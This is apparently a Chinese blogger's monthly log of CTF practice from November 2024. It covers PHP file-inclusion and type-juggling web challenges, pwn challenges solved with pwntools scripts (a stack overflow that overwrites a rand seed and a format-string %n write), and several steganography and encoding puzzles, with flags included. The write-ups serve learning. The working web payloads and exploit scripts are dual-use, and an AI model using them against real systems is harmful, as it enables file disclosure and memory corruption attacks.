贰零贰肆年拾壹月刷题月记


说在前面:

现在是 21 号的晚上九点,整了半个周的博客终于可以正式投入使用了。
摸索了一下 md 的基本语法,从语雀直接转投 Vscode 。

虽然语雀的一些功能的确好用,但是 md 不可以直接带图片导出这一点实在是太蛋疼了,就算使用工具转码, md 文件也会出现错误,语雀的图片 cdn 的防外链机制更是 ex 到了一种境界。

所以有富哥送我一份 Typora 吗谢谢你谢谢你谢谢你

咳咳,回到正题上来,如你所见,这一周的时间基本都用在搞这个博客上了,所以题是没什么时间刷了,加上后面还有一个强网杯的线上赛要打,可以预见到11月刷的散题肯定是不多的。

不过既然要刷,就得尽力刷好一点。

也做了几道 pwn 题,成功的将 pwn 水平从啥也不会提升到了至少能做个pwn的签到题。
做多了其实也可以发现 pwn 是挺有趣的,很享受这个坐牢的过程。

这就是你这周到现在一道 web 都没刷的理由吗死鬼

今天还有时间, ctfer 的一天,从晚上九点开始。

就这样吧。

11-22 更新: 攻防世界的环境又分发不了了,做点 Misc 罢。


Web

攻防世界 GFSJ1060 :file_include

打开页面,可以看到页面源码:

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
include("./check.php");
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}
?>

可以看到代码开头包含了check.php,推测有过滤。
读取get传递的filename参数并包含文件。

很明显的 php 文件包含漏洞,这里利用 php 伪协议php://filter来尝试读取文件。

构造 payload :?filename=php://filter/convert.base64-encode/resource=./check.php
提示do not hack!

猜测 payload 被过滤到了,增减 payload 片段可以发现convert base64 encode均被过滤。

多尝试几个过滤器,最后发现convert.iconv没有被过滤。

那就简单了,利用convert.iconv构造 payload:
?filename=php://filter/convert.iconv.UTF-8.UTF-16/resource=./check.php

获取到 php 文件内容,我们实现了任意文件读取。

多猜测几个 flag 可能存在的地方,最终在/flag.php处发现 flag 。
flag:cyberpeace{a8f4c57819d000d321d2614151e98209}

攻防世界 GFSJ1059 :easyphp

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;

$a = $_GET['a'];
$b = $_GET['b'];

if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
$key1 = 1;
}else{
die("Emmm...再想想");
}
}else{
die("Emmm...");
}

$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}
$key2 = 1;
}else{
die("no hack");
}
}else{
die("no");
}

if($key1 && $key2){
include "Hgfks.php";
echo "You're right"."\n";
echo $flag;
}
?>

想要得到 flag 需要通过几层条件判断。

1
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3)

第一层判断要求我们 get 传入参数a的大小大于6000000 ,且参数的长度小于 3 。
这里可以传入科学计数法1e9通过。

1
if(isset($b) && '8b184b' === substr(md5($b),-6,6))

第二层判断要求我们传入参数b的MD5值后 6 位等于8b184b.
写个脚本哈希碰撞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import hashlib

def md5(inputs):

m = hashlib.md5()
m.update(inputs.encode("UTF-8"))

return m.hexdigest()

for i in range(1,99999):

m = md5(str(i))[-6:]

if m == "8b184b":
print (i)

break

碰撞出对应的值为53724.

1
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022)

第三层判断要求我们传入 json 格式数据,数据中的 m 不可为数字,但是 m 又需要大于2022.
利用弱类型比较,我们可以传入9999c满足条件。

1
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0]))

第四层则要求我们传入有两个数据的数组n,其中包含一个数组。
[[],0]即可。

做题的时候运气比较好,撞对了最后一个条件判断

最后一个条件判断则通过添加一个0,利用array_search的弱比较通过即可。

最后 payload:?a=1e9&b=53724&c={"m":"9999c","n":[[],0]}

得到 flag:cyberpeace{e29533310551b5d342e01e40b2736035}


Pwn

攻防世界 GFSJ0470 :guess_num

获取题目附件,先 checksec 查看:

小白题应该不会整什么花活,这里我们走个过场就行了

64 位,使用 IDA64 打开:
主函数:

可以看到在通过条件判断之后会调用sub_C3E函数,而这个函数会输出 flag 。

条件判断的核心是我们输入的数字是否与随机生成的数字相同,重复判断 10 次。

思路很简单,gets函数可以让我们控制v7变量,在没有验证输入长度的情况下我们可以自由栈溢出,从而覆盖seed以达到控制随机数生成的效果。

这里可以直接覆盖 100 个 1 上去,懒得算了。

写代码:

1
2
3
4
5
6
7
from pwn import *

payload = '1' * (32) + p64(1)

io = process("/home/k0relapse/guess_num")
io.sendline(payload)
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
#include <iostream>

int main()
{
srand(1);

for ( int i = 0; i <= 9; ++i )
{
int v6 = rand() % 6 + 1;
printf( "%d\n", v6 );
}
return 0;
}

这里就很奇怪,思路应该没问题,但是官方 wp 死活复现不了,当时是爆破爆出来的

得到 flag .

攻防世界 GFSJ0463 :CGfsb

checksec ,查出开了 Canary 。

IDA 查看:

发现 printf(s)

明显的格式化字符串漏洞。

查找我们可以控制的输入点:

fgets(s, 100, stdin); 处有一个溢出。

题目要求 pwnme 要等于 8 ,查找 pwnme 的地址:

利用格式化字符串漏洞算偏移量,溢出点打进去即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

pwnme_addr = p32(0x804A068)

name = 'AAAA'

message = '%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p '


io = process("/home/k0relapse/pwn/prog/CGfsb")

io.sendline(name)
io.sendline(message)

io.interactive()

pwnme 要为 8 ,那偏移就是 10 .

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

pwnme_addr = p32(0x804A068)

name = 'AAAA'

payload = pwnme_addr + b'%04c%10$n'

io = process("./CGfsb")

io.sendline(name)

io.sendline(payload)

io.interactive()

打进去即可得到 flag 。


Misc

ISCTF 2024 老八奇怪自拍照

下载文件就可以看到图片颜色具有很严重的失真。

使用 stegsolve 工具查看各通道颜色信息,发现 R5 通道,G2 通道, B1 通道存在隐写。

使用 stegsolveData Extract 功能提取隐写信息,最后得到一张 jpg 图片。

该图片的 Exif 信息包含 1ScTf2024! 字符串,猜测可能是某种具有加密功能的隐写手段的密码。

尝试 steghide 提取,得到 Flag:ISCTF{St4gs0lve_Rbg_S4eGh1de_H1de!!!}

攻防世界 GFSJ1197:miao~

下载附件,得到一个 jpg 图片。

010 打开查看,文件尾部有一个 WAV 文件,提取;

Audacity 打开查看频谱图,发现 CatCTF 字样,推测是密码。

尝试 jpgwav 文件的各种隐写方式,最后 Deepsound解出得到一个txt:

1
~呜喵喵喵喵呜呜啊呜啊呜喵呜呜~喵啊喵啊喵啊呜喵呜~~~喵~呜喵啊喵啊喵喵喵呜呜~呜~呜喵呜呜啊啊~呜啊喵啊呜喵呜呜啊~喵~呜呜喵喵~喵喵喵呜呜呜喵~呜喵呜呜啊~呜啊啊喵啊呜喵呜呜喵~喵~呜喵呜~~喵喵喵呜啊呜啊喵呜喵呜呜啊~呜啊啊喵啊呜~啊喵~~喵~呜呜喵喵喵喵喵喵呜啊呜呜~呜喵呜呜~喵~喵啊喵啊呜~~啊啊~喵~呜呜喵喵啊喵喵喵呜呜呜呜~呜喵呜呜~呜啊~啊喵啊呜~~啊啊~喵~呜呜喵喵呜喵喵喵呜啊喵呜喵呜喵呜呜啊呜啊啊啊喵啊呜喵喵呜啊~喵~呜喵呜喵喵喵喵喵呜啊喵喵呜呜喵呜呜~喵~啊啊喵啊呜~~啊啊~喵~呜喵呜~啊喵喵喵呜呜~喵啊呜喵呜呜啊啊呜喵啊喵啊呜~呜~喵~喵~呜呜喵喵喵喵喵喵呜啊喵喵啊呜喵呜呜~呜呜呜啊喵啊呜喵呜啊喵啊

猜测是兽音加密,解密得到 flag :
CatCTF{d0_y0u_Hate_c4t_ba3k1ng_?_M1ao~}

GlacierCTF 2024 FindMe

没有正式参赛,就不开新坑了

下载附件,得到一个 pdf 文件。

pdf 文件里面一堆看不懂的文字,鉴定为没有用处。

010 大法打开查看 16 进制数据,注意到数据里藏着 png 的文件头,但是被分割成了很多块。

研究一下 pdf 的数据结构,掐头去尾,再写正则,使用 010 的替换功能去除 pdf 结构数据:

1
0x0Aendstream0x0Aendobj0x0A0A([0-9][1-9][1-9]|[0-9][1-9]) 0 obj0x0A<</Length 100>>0x0Astream0x0A

保存即可得到 flag :

攻防世界 GFSJ0278 :picture2

下载得到一张 png ,010 打开可以发现这个其实是 jpg 图片,不过这并不重要。

在文件尾发现 zlib 压缩后的文件,解压得到一串 base64 :

1
S1ADBBQAAQAAADkwl0xs4x98WgAAAE4AAAAEAAAAY29kZePegfAPrkdnhMG2gb86/AHHpS0GMqCrR9s21bP43SqmesL+oQGo50ljz4zIctqxIsTHV25+1mTE7vFc9gl5IUif7f1/rHIpHql7nqKPb+2M6nRLuwhU8mb/w1BLAQI/ABQAAQAAADkwl0xs4x98WgAAAE4AAAAEACQAAAAAAAAAIAAAAAAAAABjb2RlCgAgAAAAAAABABgAAFvDg4Xa0wE8gAmth9rTATyACa2H2tMBUEsFBgAAAAABAAEAVgAAAHwAAADcAFtQeXRob24gMi43XQ0KPj4+IKh9qH2ofQ0KDQpUcmFjZWJhY2sgKG1vc3QgcmVjZW50IGNhbGwgbGFzdCk6DQogIEZpbGUgIjxweXNoZWxsIzA+IiwgbGluZSAxLCBpbiA8bW9kdWxlPg0KICAgIKh9qH2ofQ0KWmVyb0RpdmlzaW9uRXJyb3I6IKh9qH2ofah9qH2ofah9qH2ofah9qH2ofah9qH2ofah9qH2ofah9qH2ofah9qH2ofah9qH2ofah9qH2ofSA8LSBwYXNzd29yZCA7KQ0KPj4+IAA=

解码可以得到:

前两个字符其实原本是 KP , 截图截的是修改过的文件

注意到有一个 zip file 和一段 python 的 Traceback ,zip 存在密码,而 Traceback 提示我们密码是被 ¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨}¨} 替换的部分。

思路是找到 Zero Division Error 对应的报错信息

猜测对应可能的报错信息为 integer division or modulo by zero

解压得到:

1
2
3
4
begin 644 key.txt
G0TE30TY[,C,X.$%&,C@Y,T5".#5%0C%"-#,Y04)&1C8Q-S,Q.49]
`
end

明显的 uuencode ,解码得到 flag :
CISCN{2388AF2893EB85EB1B439ABFF617319F}

攻防世界 GFSJ0514 :stegano

题目是个 pdf 文件,常规思路挪开 pdf 页面元素,得到 hint :Close-butstillnothere!

证明信息应该就在 pdf 页面中。

可见的页面上找不到 flag ,猜测在界面外。

Ctrl + A 再 copy 到 记事本,可以发现有隐藏的信息:

1
BABA BBB BA BBA ABA AB B AAB ABAA AB B AA BBB BA AAA BBAABB AABA ABAA AB BBA BBBAAA ABBBB BA AAAB ABBBB AAAAA ABBBB BAAA ABAA AAABB BB AAABB AAAAA AAAAA AAAAB BBA AAABB

猜测是 mores , 尝试 B 为长码,A 为短码。

替换后解码,得到 flag : flag{1NV151BL3M3554G3}

攻防世界 GFSJ1088 :[中等]QR1

题目附件是一张 png ,放大看可以找到很淡的 QR 码痕迹。

调整对比度,亮度,扫描即可得到 flag 。

flag{AHA_U_Kn0w_QR_c0d3_312468ed-ea59-4fe9-9cd2-b5e9d8b39498}

攻防世界 GFSJ0972 :我们生活在南京

mp3 音频,打开听可以很明显的推断是摩尔斯电码题

Audacity 打开,对着频谱图抄:
alt text

1
..-. .-.. .- --. -.-. .-- .. ..... ....- - .-. ....- -.. .. - .. ----- -. -- ...-- - .... ----- -..

解码得到 flag:flag{cwi54tr4diti0nm3th0d}

攻防世界 GFSJ0319 :Recover-Deleted-File

sleuthkit 查看磁盘镜像内文件信息

1
fls disk-image
1
2
3
d/d 11: lost+found
r/r * 12: flag
V/V 257: $OrphanFiles

含有 flag 文件,extundelete 恢复出来:

1
extundelete disk-image --restore-all

尝试 cat 文件,发现不是文本文件。

给权限执行即可得到 flag :

1
2
your flag is:
de6838252f95d3b9e803b28df33b4baa

攻防世界 GFSJ0361 :qr-easy

观察到题目给的二维码图片保留了数据区的信息。

利用 Qrazybox 工具手动输入:

强制识别即可得到 flag :